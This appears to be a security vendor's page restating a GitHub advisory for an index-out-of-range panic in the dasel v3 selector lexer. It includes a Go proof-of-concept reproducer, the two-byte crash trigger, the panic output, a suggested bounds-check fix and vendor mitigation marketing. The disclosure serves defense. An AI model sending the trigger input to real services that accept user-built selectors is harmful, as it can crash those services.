GHSA-m5j3-4634-c2vq
HIGHGHSA-m5j3-4634-c2vq is a high-severity (CVSS 7.5) CWE-129 vulnerability in github.com/tomwright/dasel/v3. O3 Security confirms whether GHSA-m5j3-4634-c2vq is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Dasel: Index-out-of-range panic in dasel selector lexer on trailing backslash in quoted string
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-m5j3-4634-c2vq.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-m5j3-4634-c2vq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 360,399 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/tomwright/dasel/v3Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
dasel's selector lexer panics with an index-out-of-range error when tokenizing a quoted string that ends with a trailing backslash (e.g., "\ or '\). A 2-byte input causes an immediate process crash via Go runtime panic.
I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.
Details
The bug is in the escape sequence handler within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L191-L194:
if p.src[pos] == '\\' {
pos++
buf = append(buf, rune(p.src[pos])) // line 193: no bounds check
pos++
continue
}
When a backslash is the last character inside quotes, pos++ increments the position past the end of the input. The subsequent p.src[pos] attempts to read past the end of the slice, which Go turns into a runtime panic: runtime error: index out of range [2] with length 2.
Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the escape sequence path does not perform a similar bounds check.
Minimal trigger: "\ or '\ (2 bytes)
Test environment:
- MacBook Air (Apple M2), macOS / Darwin
arm64 - Go
1.26.1 - dasel
v3.3.1(fba653c7f248aff10f2b89fca93929b64707dfc8)
PoC
package main
import (
"fmt"
"runtime"
"runtime/debug"
"github.com/tomwright/dasel/v3/selector/lexer"
)
func main() {
fmt.Printf("Go version: %s\n", runtime.Version())
fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
fmt.Println()
for _, input := range []string{`"\`, `'\`} {
fmt.Printf("Input: %s\n", input)
func() {
defer func() {
if r := recover(); r != nil {
fmt.Printf("PANIC: %v\n", r)
debug.PrintStack()
}
}()
t := lexer.NewTokenizer(input)
tokens, err := t.Tokenize()
if err != nil {
fmt.Printf("Error: %v\n", err)
} else {
fmt.Printf("OK: %d tokens\n", len(tokens))
}
}()
fmt.Println()
}
}
Observed output on v3.3.1 in the test environment above:
Go version: go1.26.1
GOARCH: arm64
Input: "\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
.../selector/lexer/tokenize.go:193 +0x1c2c
...
Input: '\
PANIC: runtime error: index out of range [2] with length 2
goroutine 1 [running]:
...
github.com/tomwright/dasel/v3/selector/lexer.(*Tokenizer).parseCurRune(...)
.../selector/lexer/tokenize.go:193 +0x1c2c
...
Impact
An attacker who can control or influence the selector/query string passed to dasel can trigger a Go runtime panic and crash the process unless the caller explicitly recovers from panics.
The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:
- Web applications using dasel for dynamic data querying
- Applications that construct selectors from user input
- Shared tooling environments where selectors are passed as parameters
Suggested Fix
Add a bounds check after incrementing pos past the backslash, consistent with the existing UnexpectedEOFError handling for unterminated quoted strings:
if p.src[pos] == '\\' {
pos++
if pos >= p.srcLen {
return Token{}, &UnexpectedEOFError{Pos: pos}
}
buf = append(buf, rune(p.src[pos]))
pos++
continue
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/tomwright/dasel/v3 | ≥ 3.0.0 | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/tomwright/dasel/v3. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of github.com/tomwright/dasel/v3 has shipped for GHSA-m5j3-4634-c2vq yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m5j3-4634-c2vq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-m5j3-4634-c2vq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m5j3-4634-c2vq in your dependencies?
O3 detects GHSA-m5j3-4634-c2vq across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.